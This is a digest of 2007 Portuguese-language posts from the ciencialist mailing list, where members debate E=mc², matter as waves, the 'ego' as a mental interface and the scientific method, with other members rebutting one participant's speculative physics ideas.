>> >>>> A teoria cientifica (regra cientifica) otimiza
>> o
>> > sucesso no objetivo.
>> >
>> > Uma teoria cientifica, por ser fruto de muita
>> > experiência, minimiza a possibilidade de erro e
>> > otimiza a possibilidade de acerto dos seus
>> usuários.
>> > Por exemplo, se a regra cientifica diz que chove
>> no
>> > verão e faz frio no inverno, uma pessoa pode usar
>> esta
>> > regra cientifica, por exemplo, para obter sucesso
>> na
>> > agricultura da cana de açúcar.
>> >
>> >
>



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 10:58

Olá Takata!

Takata >>> Admirável como alguém q desconhece coisas
elementares da área queira falar algo sobre a natureza
disso.

--- O motivo de vc não poder compreender isto é muito
simples: querer é irracional. Eu também não sei de
onde vem meu interresse por essas coisas. Meu
interesse não é motivado pelo meu raciocinio, mas pelo
desejo. Voce sabe porque deseja o que deseja?

Takata >>> É como um cara q não sabe nem o q é tijolo
pedir-nos para confiar a ele o projeto de construção
de uma casa.

--- Vejo diferente. E como um musico que quer transpor
uma musica para uma equação matématica. Minha
dificuldade aqui é de tradução de linguagem e não de
assunto. Tanto é assim, que mesmo usando meu fisiques
pobrinho de escola, vc está conseguindo me entender
até que bem.


sinceramente
ferrari



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SUBJECT: Re: Quebra de patente de droga anti-aids
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 11:02

Segue a suíte:

Quebra de patente anti-Aids é "jogo perigoso", diz "Wall Street Journal"
http://www1.folha.uol.com.br/folha/bbc/ult272u62106.shtml

[]s,

Roberto Takata



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 11:05

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Voce sabe porque deseja o que deseja?

Sei. Desejo Keira Knightley porq ele é bonita e bem encorpada.

> Tanto é assim, que mesmo usando meu fisiques
> pobrinho de escola, vc está conseguindo me entender
> até que bem.

Eu entendo o cara aspirante a pedreiro q quer ser colocado como chefe
de obras. Nem por isso ele terá razão.

[E digamos q o mérito aqui da compreensão é mais dos q estão tentando
entender do q quem está querendo ser compreendido.]

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Ego Humano ::: (artigo sobre interface mental)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 11:22

Olá Takata!

Takata >>> Não é verdade. A realidade no nível q vc
está falando - ser capaz de ligar o computador, coçar
o nariz, voltar pra casa - pode não envolver
raciocínio algum.

--- Não estou considerando apenas o consciente, mas o
subconsciente também.

Takata >>> Pombos voltam pra casa, tartarugas voltam
pra casa, cães se coçam...

--- Egos Humanos, ok?


sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 11:36

Olá Homero!

Homero >>> Ver o óbvio??!?!?! Óbvio é que o Sol gira
ao redor de nós, que as estrelas são pregadas em uma
abóboda celestial fixa...

--- Homero, a explicação que dei ao Alvaro, na mesma
thread, é a mesma que tenho para lhe dar aqui. Por
favor, lendo-a, creio que me entenderá melhor. Se
ainda assim não entender, estou a disposição para o
debate sobre o assunto.

Homero >>> está a léguas de distância de sua atual
capacidade em termos de conhecimentos básicos de
física

--- Como disse ao Alvaro, este artigo não foi escrito
para tratatar da questão da fisica e da gravitação,
mas da relação entre raciocinio e método cientifico.
Ou seja, o "fazer ciencia" e não o "fazer fisica".

Homero >>> antes de ficar bravo, lembre-se de que não
é demérito ignorar conhecimentos científicos

--- Com certeza. Sei da minha ignorancia da linguagem
da fisica. E não escondo de ninguém. Não tenho porque.
E poir! Nem como.

Homero >>> Newton não "percebeu" que tudo caia, o que
é óbvio e já havia sido notado provavelmente até por
nossos antepassados australopitecus, ele demonstrou
como as relações entre corpos poderiam ser descritas
em termos matemáticos precisos e confiáveis.

--- Novamente, Homero, como explico ao Alvaro, apenas
usei a história da maça, porque é uma história muito
conhecida, curiosa e ilustrativa. Poderia ter usado
outra, se tivesse estas caracteriscas também. O motivo
foi por didática no estudo sobre metodo cientifico e o
raciocinio e não para se compreender e estudar a
gravitação ou a fisica.

Homero >>> Assim fica difícil, Ferrari.:-)

--- Ruido de comunicação. Nenhuma comunicação e
perfeita, nem quando conversamos com nós mesmos. O
jeito é ir tirando o ruido.


outro abraço
sinceramente
ferrari




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SUBJECT: Re: [ciencialist] Ego Humano ::: (artigo sobre interface mental)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 11:39

Olá Alvaro!

Sim, vc está certo. Digo psicologia porque a maioria
sabe o que é psicologia, mas não sabe o que é PNL. Mas
de qualquer forma, seja quem a diga, a frase não deixa
de apontar para um fato.



sinceramente
ferrari




--- "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
escreveu:

> Caro Ferrari,
>
> A frase "o mapa não é o território" não foi cunhada
> pela psicologia, mas
> pela programação neurolinguística, esse pessoal
> confuso que acha que
> descobriu o manual de funcionamento do computador
> humano...
>
> [ ]s
>
> Alvaro Augusto
>
>
>
> ----- Original Message -----
> From: "Ferrari" <emailferrari@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 07, 2007 11:32 AM
> Subject: [ciencialist] Ego Humano ::: (artigo sobre
> interface mental)
>
>
> >O EGO HUMANO - por Ferrari
> > http://egogame.blogspot.com
> >
> > (sobre interface mental)
> >
> > Imagine que você acabou de sair do serviço e está
> > voltando para casa. Ponha sua visão de
> extraterrestre
> > e observe seu comportamento.
> >
> > Você anda por dezenas de ruas, faz conversões a
> > direita e a esquerda até que chega em sua casa.
> Muito
> > bem, agora que chegou, me responda (com sua visão
> > extraterrestre): como você sabia quais ruas tinha
> que
> > seguir e quais conversões tinha que fazer se não
> > haviam placas na rua indicado "minha casa"?
> >
> > Percebe que existe um mapa mental da cidade dentro
> da
> > sua cabeça? Percebe que dentro deste mapa existe
> um
> > monte de setas indicando o caminho "certo" para
> você
> > chegar na sua casa? Imagine se este mapa mental
> não
> > existisse, como você conseguiria chegar até sua
> casa?
> > Você não conseguiria, não é mesmo?
> >
> > Outro exemplo. Vamos supor que você tenha a
> intenção
> > de coçar o nariz. Ponha sua visão de
> extraterrestre e
> > observe seu comportamento. Primeiro você desloca a
> mão
> > até o nariz. Depois começa a mover os dedos pra
> cima e
> > pra baixo. Me responda enquanto move os dedos pra
> cima
> > e pra baixo: como é que você sabe que é assim que
> se
> > coça o nariz?
> >
> > Pense no seu comportamento quando vai acender a
> luz.
> > Você olha pro interruptor, levanta o braço, estica
> o
> > dedo, aperta o interruptor e... sucesso: a luz
> acende!
> > Me responda (com sua visão extraterrestre): como
> sabe
> > tudo isto?
> >
> > Existe uma frase metafórica criada pela psicologia
> que
> > diz assim: "O mapa não é o território". O que
> > significa isto? Significa que assim como um mapa
> > (desses rodoviários) é uma construção cartográfica
> do
> > território, assim também é o conhecimento humano:
> uma
> > construção mental da realidade. Ou seja, assim
> como
> > não vemos a internet diretamente com os olhos, mas
> > através de uma interface eletrônica chamada
> windows,
> > também não vemos diretamente a realidade, mas
> através
> > de uma interface mental chamada ego (raciocínio).
> >
> > É comum termos a certeza ingênua e falsa de que os
> > sentidos humanos nós oferecem uma visão direta da
> > realidade. Não é verdade. Só conhecemos a
> realidade
> > através do raciocínio. É fácil compreender isto.
> > Basta, por exemplo, você se dar conta de que este
> > monitor de computador na sua frente não está
> dentro da
> > sua cabeça. E o que está dentro da sua cabeça? O
> que é
> > isto que você está conhecendo? É uma re-criação do
> seu
> > cérebro, é um mapa mental (raciocínio).
> >
> > É como se o cérebro fosse uma câmera de vídeo. Uma
> > câmera de vídeo está em contato direto com a
> realidade
> > e capta o movimento da realidade, porém, quanto
> mais
> > ela capta o movimento da realidade mais ela
> transforma
> > a realidade em imagem de vídeo. O cérebro faz a
> mesma
> > coisa. O cérebro está em contato direto com a
> > realidade e capta o movimento da realidade, porém,
> > quanto mais ele capta, mais ele a transforma em
> > raciocínio.
> >
> > A memorização dos raciocínios é o ego. Sem um ego,
> > você seria totalmente incapaz de conhecer a
> realidade
> > e, conseqüentemente, seria incapaz também de
> acender a
> > luz, coçar o nariz ou voltar pra casa depois do
> > trabalho. Para comprovar esta realidade basta
> observar
> > a completa inabilidade dos nenéns para fazer
> qualquer
> > coisa.
> >
> > Sem um ego humano você seria mesmo um
> extraterrestre.
> >
> > - - - - - - -
> >
> >
> > QUER MAIS? TEM AQUI:
> > http://egogame.blogspot.com
> >
> >
>
>




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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 11:42

Caro Ferrari,

"Todo conhecimento da realidade é dual"? Mas não são apenas prótons e
elétrons que têm carga elétrica! E mesmo o Modelo Padrão, com todas suas
constantes a determinar e partíulas "marteladas", é muito mais complexo do
que uma mera dualiade.

Agora, cá entre nós, você já leu o artigo original onde aparece E = mc^2?

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 08, 2007 10:37 AM
Subject: Re: [ciencialist] Re: E=m.c2


> Olá Takata!
>
> Takata >>> Não são apenas elétrons q possuem cargas
> elétricas. Os elétrons possuem um tipo de carga
> elétrica - a negativa (de valor unitário). Os prótons
> possuem outro tipo de carga elétrica - a positiva (tb
> de valor unitário).
>
> --- Ok. Lido e compreendido. Muito interessante. E faz
> sentido, posto que todo conhecimento da realidade é
> dual.
>
> Takata >>> Não é apenas o q eu defendo. É o q
> significa o E = m.c2. Pegue uma porção de matéria com
> massa "xis", sem qq tipo de pulsação. Ainda assim ela
> tem energia associada, no valor de E = xis.c2
>
> --- Takata, já disse que concordo com vc nisto. A
> divergencia aqui é apenas na forma como vc raciocina
> "massa". Divergimos nisto. Por raciocinar a massa numa
> visão particular (particula, porção), vc perde de
> vista seu pulsar universal.
>
> Takata >>> O q é ou não matéria, como a matéria se
> comporta ou não, independe do q *vc* ache q seja ou
> não matéria.
>
> --- Concordo também. Mas não estamos aqui debatendo
> sobre a realidade, mas sim sobre o conhecimento humano
> da realidade. Sendo assim, estamos sim debatendo sobre
> os nossos "achismos". Concordamos e divergimos em
> alguns deles. As vezes vc acha uma coisa e eu acho
> outra. Estamos debatendo pra analizar e ver qual dos
> mapas representa melhor o território.
>
> Takata >>> Na verdade tb independe do q eu ou os
> cientistas achem. O q os cientistas fazem é achar de
> acordo com os reais comportamentos da matéria.
>
> --- Tá vendo! Os cientistas supoem a matéria ao
> estudar seu comportamento. Estou fazendo a mesma
> coisa, só estou supondo uma forma de raciocinar a
> máteria diferente da forma de raciocina-la que propoe
> a fisica. Proponho um raciocinio em que a matéria é
> indivisivel e pulsa com o tempo.
>
> Takata >>> O processo científico é assim contrário ao
> seu.
>
> --- Não mesmo! Observo o comportamento da matéria,
> raciocinio e suponho uma visão lógica dos fatores que
> não pode ser observado no comportamento observado.
>
> Takata >>> Pra vc, primeiro vc define arbitrariamente
> as coisas e aí tenta fazer com q a natureza se encaixe
> e se comporte de acordo com os seus conceitos.
>
> --- Não. Parto da observação do comportamento assim
> como qualquer cientista. Sem analise, dados, não teria
> o que raciocinar (equacionar).
>
> Takata >>> Em ciências, mm q se parte de conceitos
> preestabelecidos, tais conceitos são refeitos à luz
> dos experimentos - a natureza é soberana nesse
> aspecto.
>
> --- Isto ai é uma coisa que não faço: "partir de de
> conceitos preestabelecidos". Parto da observação do
> sempre (do óbvio). Sempre. E por isto, as vezes meu
> discurso entra em conflito justamente com os conceitos
> preestabelecidos. E não porque são de natureza
> distintas, mas, com mais frequencia, raciocinados com
> semanticas distintas.
>
> Takata >>> Só uma amostra de como a sua conceituação
> de matéria é problemática.
>
> --- Takata, toda vez que exemplifica, ilustra, vc está
> tornando o nosso dialogo mais claro e produtivo.
> Sempre que puder, faça isto.
>
> Takata >>> Um carro é material. Um carro pode ser
> dividido em várias partes.
>
> --- Entendo. E vc percebe que dividir o carro é
> colocar espaço vazio entre as partes (espaços cheios)?
> Quando não há espaço vazio entre as partes espaços
> cheios) não há divisão, concorda? Mas o que é vazio e
> o que é cheio? Nesta pergunta está o xis da questão, e
> a solicionática da problemática. Vou deixar a pergunta
> em aberto porque creio que vc sabe a resposta assim
> como eu. Se no próximo email vc mesmo não esclarecer
> isto, eu respondo e esclareço.
>
> Takata >>> Para substância indivisível já existe um
> nome: "átomo primordial".
>
> --- Se for uma particula, uma porção de massa, um
> espaço cheio rodeado de espaço vazio, não se trata do
> mesmo que estou me referindo. Quando me refiro ao uma
> substância indivisível estou me referindo aquilo que
> não é cheio nem vazio, aquilo que apenas é.
>
> Takata >>> A fórmula tto independe de pulsações q nem
> sequer há o fator pulsação na fórmula - apenas massa e
> uma constante.
>
> --- E se a pulsação for constante? A luz não poder ser
> compreendida como uma onda? Este comportamento da luz
> não é constante (sempre)?
>
> Takata >>> Se quiser mudar a fórmula vá em frente.
>
> --- Não quero muda-la, abri esta thread pela segunda
> vez, orque estou usando-a como base de estudo para
> relação entre matéria e energia. Por enquanto, suponho
> que a formula não precisa ser mudada, mas a
> compreenção da formula sim.
>
> Takata >>> Apenas ondas mecânicas necessitam de meio
> material para se propagar.
>
> --- Por favor, vc poderia me dar exemplos de ondas que
> não nessecitam de meio material para se propagarem. E
> também poderia me dizer por que tipo de meios elas se
> propagam?
>
> Takata >>> Vc está no mínimo uns 100 anos atrasados na
> discussão.
>
> --- Takata, não tenho pressa. O que me importa não é
> chegar primeiro no que é sempre, mas apenas aproveitar
> o que é sempre.
>
>
>
> sinceramente
> ferrari



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/05/2007 11:43

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Ok. Lido e compreendido. Muito interessante.

Então vc agora sabe q eletricidade não depende de elétrons. Com mais
uns três anos talvez vc entenda como se transmite a energia elétrica -
e os sinais elétricos através da fiação (envolve fótons - mas de modo
distinto dos fótons q viajam por fibra óptica).

> --- Takata, já disse que concordo com vc nisto. A
> divergencia aqui é apenas na forma como vc raciocina
> "massa". Divergimos nisto. Por raciocinar a massa numa
> visão particular (particula, porção), vc perde de
> vista seu pulsar universal.

Ferrari, entenda q o conceito de massa não é livre para qq um
defini-la ao seu bel-prazer ou de modo q melhor se encaixe em sua
visão. O conceito de massa deve ser operacional e por operacional quer
dizer q possa ser testado empiricamente. Somente com testes de
hipóteses podemos criar confiança em uma visão.

E, acredite vc ou não, a teoria física atual foi testada em um sem
número de situações e a cada teste ele tem passado sem grandes sustos.
E é essa montanha de testes q seguidamente tem corroborado as
previsões da física atual q dá o respaldo na confiabilidade deles.

Se vc quiser substituir esse corpo teórico muito bem costurado e,
sobretudo, muito bem testado, por outro, terá q se esforçar *muito*
mais. E por esforçar-se muito mais entenda-se não escrever mais, mas
sim elaborar e testar exaustivamente suas idéias de modo empírico. Com
resultados q sejam previstos por sua visão, mas não pela visão corrente.

> da realidade. Sendo assim, estamos sim debatendo sobre
> os nossos "achismos".

Não são nossos achismos. O achismo é seu. Da parte da física atual são
teorias testadas - o q é muito diferente de achismo.

> --- Tá vendo! Os cientistas supoem a matéria ao
> estudar seu comportamento.

Vc não entendeu. A diferença crucial entre a sua suposição e a dos
cientistas é q a suposição dos cientistas foi testada - em campo, no
laboratório, na nossa vida.

Traga um resultado experimental q demonstre q a sua idéia é viável.

> --- Não mesmo! Observo o comportamento da matéria,
> raciocinio e suponho uma visão lógica dos fatores que
> não pode ser observado no comportamento observado.

Vc não observou o comportamento da matéria. Ou antes, tem uma
observação limitadíssima do comportamento da matéria. Claro, entre
outras coisas faltam-lhe equipamentos q permita q vc acesse o mundo
microscópico...

Vc está grosso modo tentando reconstituir o passo dos antigos
filósofos gregos. Eles foram importantes à época deles. Mas no q se
refere à filosofia natural, foram há muito ultrapassados pelos
cientistas. Espero q não demore dois mil anos para vc finalmente
chegar à visão atual da matéria.

> --- Não. Parto da observação do comportamento assim
> como qualquer cientista. Sem analise, dados, não teria
> o que raciocinar (equacionar).

Q dados? Vc incorpora o valor da permissividade elétrica do vácuo em
sua teoria da transmissão elétrica? Ou esse valor pode ser deduzido da
sua teoria? Qual a taxa de transmissão máxima em condições ótimas?
Varia com a temperatura? Com o tipo de material? O q difere um pedaço
de madeira de um de metal na transmissão elétrica?

Q equação? A E = m.c2? É disso q estou falando. Vc quer deturpar a
equação para q se encaixe na sua visão: q essa equação mostra q a
matéria vibra... Essa equação não tem nada a ver com a matéria vibrar
ou não. Ela, grosso modo, apenas indica q massa pode ser convertida em
energia e vice-versa.

> Takata >>> Em ciências, mm q se parte de conceitos
> preestabelecidos, tais conceitos são refeitos à luz
> dos experimentos - a natureza é soberana nesse
> aspecto.
>
> --- Isto ai é uma coisa que não faço: "partir de de
> conceitos preestabelecidos". Parto da observação do
> sempre (do óbvio).

Lamente, mas vc parte dos conceitos preestabelecidos. Mas não se
acanhe. TODOS partem de conceitos preestabelecidos. É impossível ser
de outra forma.

> --- Entendo. E vc percebe que dividir o carro é
> colocar espaço vazio entre as partes (espaços cheios)?

Não. Vc pode dividir o carro sem separar as partes. De mais a mais não
é essa a questão e sim q a matéria como indivisível é uma idéia
contrária aos dados experimentais. O máximo q se pode clamar é q
existe uma unidade fundamental e indivisível da matéria e não q a
matéria seja indivisível.

> não é cheio nem vazio, aquilo que apenas é.

Não existe isso.

> Takata >>> A fórmula tto independe de pulsações q nem
> sequer há o fator pulsação na fórmula - apenas massa e
> uma constante.
>
> --- E se a pulsação for constante? A luz não poder ser
> compreendida como uma onda? Este comportamento da luz
> não é constante (sempre)?

Não importa se a pulsação for constante. Aliás, se a pulsação for
*mesmo* contante não há pulsação - q significa *variação* periódica de
um certo valor. Vc pode falar q o período e a amplitude da variação
são constantes. Ok. Mas isso não quer dizer nada para a identidade
entre a constante da fórmula e a pulsação.

Do contrário poderíamos achar q como a alface é verde e a esmeralda é
verde, a esmeralda é feita de alface. (Do mesmo modo, apenas porq vc
arbirtariamente acha q a pulsação é contante e o valor q multiplica a
massa na fórmula é constante não se cria identidade entre os dois.)

A luz pode ser entendida como onda, mas não é sua pulsação q entra na
fórmula e sim sua velocidade de propagação. Não há menção ao período
de oscilação da luz - pode ser *qualquer* um! - nem ao comprimento
dessa oscilação - tb pode ser qq um (mas q depende da freqüência).

Qdo se muda a freqüência de uma onda luminosa, muda-se a cor dessa onda.

Qdo se diz E = m.c2, não se faz *nenhuma* referência qto à cor. A cor
ou as cores das luzes emitidas dependerá da circunstância da conversão
da massa em energia e não da relação explicitada na fórmula.

> Takata >>> Se quiser mudar a fórmula vá em frente.
>
> --- Não quero muda-la, abri esta thread pela segunda
> vez, orque estou usando-a como base de estudo para
> relação entre matéria e energia. Por enquanto, suponho
> que a formula não precisa ser mudada, mas a
> compreenção da formula sim.

Supor vc pode supor o q quiser. (Embora eu o ache pretencioso por
querer mudar a "compreensão" da fórmula sem jamais ter estudado física
e apenas pensando sobre como supostamente se transmite dados pela
internet.) Entre vc supor e a sua suposição ser adequada vai uma
distância enorme.

Pense honestamente, vc confiaria em um cara q não sabe nem o q é
tijolo para construir a sua casa? (Ele dirá q teve intuição do q é
tijolo - para ele tijolo é um pedaço de peixe fresco.)

> --- Por favor, vc poderia me dar exemplos de ondas que
> não nessecitam de meio material para se propagarem. E
> também poderia me dizer por que tipo de meios elas se
> propagam?

Ondas eletromagnéticas se propagam no vácuo.

> Takata >>> Vc está no mínimo uns 100 anos atrasados na
> discussão.
>
> --- Takata, não tenho pressa. O que me importa não é
> chegar primeiro no que é sempre, mas apenas aproveitar
> o que é sempre.

Bem, eu diria q vc não tem 100 anos. Nem eu. Mas talvez em uns quatro
anos vc consiga. É o tempo médio de graduação em física.

[]s,

Roberto Takata



SUBJECT: Re: RES: [ciencialist] Carl Sagan e o googol
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 11:50

Caro Marcos,

Obrigado pela referência. Eu estava mais interessado na
pronúncia de "googol" do que no conceito, pois estava preparando um artigo
impertinente para o meu blog sobre a maneira "correta" de pronunciar
"Google". Veja como ficou em
http://alvaroaugusto.blogspot.com/2007/05/como-voc-diz-google.html

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Marcos Paulo Serafim" <mpserafim@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, May 02, 2007 2:00 PM
Subject: Re: RES: [ciencialist] Carl Sagan e o googol


>O episódio onde ele trata desse assunto (mais precisamente aos 7 min. e
> 45 seg.):
>
> http://video.google.com/videoplay?docid=-3426624227712026764
>
> []'s
> Marcos Paulo Serafim
>
>
> Ricardo escreveu:
>> Eu tenho a série completa em DVD (da super-interessante). Se souber o
>> episódio (eu não lembro), eu te passo o trecho.
>>
>> []s
>> Ricardo
>>
>> -----Mensagem original-----
>> De: ciencialist@yahoogrupos.com.br
>> [mailto:ciencialist@yahoogrupos.com.br]
>> Em nome de Alvaro Augusto (L)
>> Enviada em: quarta-feira, 2 de maio de 2007 11:25
>> Para: ciencialist@yahoogrupos.com.br
>> Assunto: [ciencialist] Carl Sagan e o googol
>>
>> Prezados cidadãos do planeta Terra,
>>
>> Estou em busca de um fragmento de vídeo do programa Cosmos, de Carl
>> Sagan,
>> onde o apresentador discorre sobre o número "googol" (10^100). No
>> momento,
>> só achei um video com uma narração em espanhol por cima que não permite
>> compreender muito bem o que Sagan está falando
>> (http://www.youtube.com/watch?v=Ym2jtvOZZrk). Se alguém tiver notícias do
>> original, agradeço.
>>
>> [ ]s
>>
>> Alvaro Augusto de Almeida
>> http://alvaroaugusto.blogspot.com
>> alvaro@lunabay.com.br
>>
>>
>>
>> ##### ##### #####
>>
>> Página de apoio
>> http://www.ciencialist.com
>>
>



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/05/2007 11:56

Saudações Ferrari!

Lembro-me sim!

Parei de frequentar o grupo de Ciências Cognitivas
após ter ido para o exterior. Quando retornei, o
grupo não estava tendo uma participação relevante,
por isso, deixei de postar e-mails.

Continuo sendo Cientista Cognitivo, seguindo a
linha do Prof. Henrique Del Nero, de quando ele
fazia parte do Instituto de Estudos Avançados da
USP...

Continuo devotando horas e horas no estudo dos
fenômenos cognitivos, abordando assuntos desde
robótica, mentes doentes e sadias e concepções
mentais do mundo à nossa volta.

Minha formação primária é Física. Por isso volta e
meia alguns temas nesta área tb tomam a minha
atenção. Um deles é a Teoria Ondulatória da Matéria
que vem sendo investigada por vários cientistas ao
redor do mundo.

Quando estudo Física Teórica Pura delimito as
questões cognitivas me atendo aos resultados
matemáticos e às ferramentas de medidas
universalmente aceitas. Assim, colocando minha
referência cognitiva a parte, consigo obter
resultados passíveis de serem migrados para outras
referências cognitivas. É o procedimento comum a
todo cientista diplomaticamente correto.

A respeito sobre quais ou quantas referências
cognitivas possam existir neste universo, foi
comentado anteriormente aqui nesta comunidade sobre
várias possíveis arquiteturas cognitivas, desde as
mentes coletivas, como mostradas em um dos
episódios de Jornada nas Estrelas, até as mentes
atemporais, que funcionam sem referências temporais.

Dos textos apresentados concluiu-se que, quaisquer
que sejam as referências cognitivas, os resultados
devem ser iguais. Em outras palavras: não importa
a 'ilusão' montada pela mente. Como se diz em
Linguística: não importa o signo ou o significado;
o que importa é o significante. O rigor matemático
facilita essa dissociação.

Assim nada tem a ver a minha defesa das idéias
trazidas pela Teoria Ondulatória da Matéria com a
minha defesa das idéias Cognitivas.

De fato pode existir uma aparente conexão, já que
pela Mecânica Quântica não se pode determinar em
que momento uma onda torna-se partícula e vice-
versa; daí, a questão do quantum nos remete à
questão de como o cérebro funciona. Existe tb o
fato de que o Universo vai muito além do que nossos
sentidos expandidos possam alcançar; daí vem a
dificuldade de se montar um modelo fácil e
previsível do Universo como um todo.

Mas pára por aí.

Os estudos que venho fazendo sobre a Teoria
Ondulatória da Matéria apoia-se totalmente em
cálculos, independendo totalmente sobre os aspectos
do que possamos imaginar.

Conquanto nos limitemos às Ciência Cognitivas, suas
colocações são válidas sim e merecem ser tercidos
comentários a parte. Só não aconselho tratar desdes
assuntos neste tema sob o risco de criarmos
complicações desnecessárias.

Um forte abraço,

Eduardo Sardeiro
http://br.groups.yahoo.com/group/NetProcessing/




----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 8:30 AM
Subject: Re: [ciencialist] Re: E=m.c2


Olá Eduardo!

Grata surpresa.

Também participava da lista de ciencias cognitivas e
certa vez debatemos extensamente sobre consciencia lá.
Lembra de mim?

Sendo voce da área de ciencias cognifivas acho
inevitável que entenda a matéria como ondas, afinal, a
cognição também pode ser entendida assim.

Também passei algum tempo acreditando nisto, que a
matéria era uma ilusão (da matrix). Mas até a matrix
deve ter seu alicerse, como voce mesmo conclui.

Como resolver então a questão da onda e da matéria?

Ao meu ver, a questão surge não porque matéria é ou
não é onda, mas porque o mapa não é o território.

Ou seja: A medição da matéria (conhecimento) não é a
matéria (realidade).

Este é o problema. Ciencia é feita de conhecimento da
realidade e não de realidade (em si).

Sendo assim, o conhecimento que a ciencia tem da
matéria pode levar ao raciocinio que matéria=onda
porque onda é manifestação na matéria. E a ciencia não
conhece a matéria através de seu ser, sua realidade,
mas apenas através da medição de sua manisfestação, ou
seja, do seu estar (estado). E é ai que se confunde o
mapa com o território.

Sutil esta questão. Dificil de discernir para quem não
leva em consideração que a compreenção cientifica é
uma matemática de mapas e não de territórios.

Mas voltando a pergunta: como resolver então a questão
da onda e da matéria?

Assim. Pra ciencia (raciocinio):

Onda é resultado da medição da matéria.
Matéria é uma suposição baseada na medição.

Eu já citei aqui, várias vezes, o exemplo do líquedo e
do molhado. Creio que o mesmo se dá com matéria e
onda. Supomos o líquedo baseado na observação
(medição) que chamamos de molhado.

Ou seja, a observação humana não tem acesso ao líquedo
(em si) só ao conhecimento humano do liquedo. E a
mesma coisa com a materia.

Mas quando o cientisca confunde o mapa com o
território, na questão da matéria, ocorre dele igualar
matéria e onda.

A solução é simples: matéria ondula.

Costumo dizer que a matéria pulsa, que é para
relaciona-la com o tempo, que ao meu ver, é a
inteligencia controladora das ondulações. Mas matéria
ondulante é diferente de matéria=onda. É achar que o
mapa é o território, percebe isto?

Uma forma simples de imaginar o que estou dizendo é
pensar em matéria como um oceano. Um ocenano é matéria
ondulante.

Pra terminar, creio que a solução para esta questão,
entre outras, vem de se dar conta que raciocinar a
realidade (conhecimento) implica sempre em ver tres em
um. Explico:

1) Matéria
2) Força (movimento da matéria)
3) Tempo (inteligencia que está controlando o
movimento da matéria)


sinceramente
ferrari

Sardeiro <eduardo@simetrias.com.br> escreveu:

> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a
> respeito desta
> célebre equação E=m.c2 e não ter sido bem
> entendido, volto
> a insistir em que ela é a maior evidência de que
> *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita?
> O que a
> torna instável, a ponto de ser liberada em uma
> explosão nuclear
> e o que a torna estável a ponto de conservar o
> número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas
> para estes
> fenômenos que não necessitam que a matéria
> seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a
> suspeita de que
> matéria são ondas estacionárias (ver Wave Structure
> of Matter),
> tendo o elétron como onda básica, capaz de
> gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se
> for validado,
> teremos um trunfo na mão. Se não for,
> continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao
> caso ainda.
> Entretanto o maior ponto de discordia da Teoria
> Ondulatória
> da Matéria é onde tais ondas refletem para
> se tornarem
> estacionarias. Sim: já que partículas são ondas
> estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de
> matéria
> propagam-se e refletem-se nas 'bordas' do Ether,
> explicando
> assim o porquê ocorrem interações mesmo
> entre objetos
> astronomicamente distantes e o porquê nunca
> temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether
> preenche
> todo o Universo observável e que ele é extremamente
> grande.
> Levaria muito, muito, muito tempo para que
> houvesse a
> reflexão de uma onda estacionária tão
> minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo
> desde o
> inicio do Universo, é initerrupta e constante, logo
> não haveria
> necessidade de uma onda ir e vir para fazer
> ocorrer uma
> partícula... A onda sempre estaria ali, assim como o
> eletron de
> um fio carregado sempre esteve ali: ele não se
> propagou da
> Austrália para o Brasil, e sim a 'força
> eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me
> deixaram
> satisfeito. Existe a necessidade de uma explicação
> razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não
> refletem
> -se uma na outra. Elas podem colidir, ampliando,
> diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum
> exemplo na
> natureza em que isso ocorra: não há reflexão
> entre ondas de
> intensidades nem de frequências diferentes.
> Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de
> ondas eletro-
> magnéticas com frequências tão infinitamente
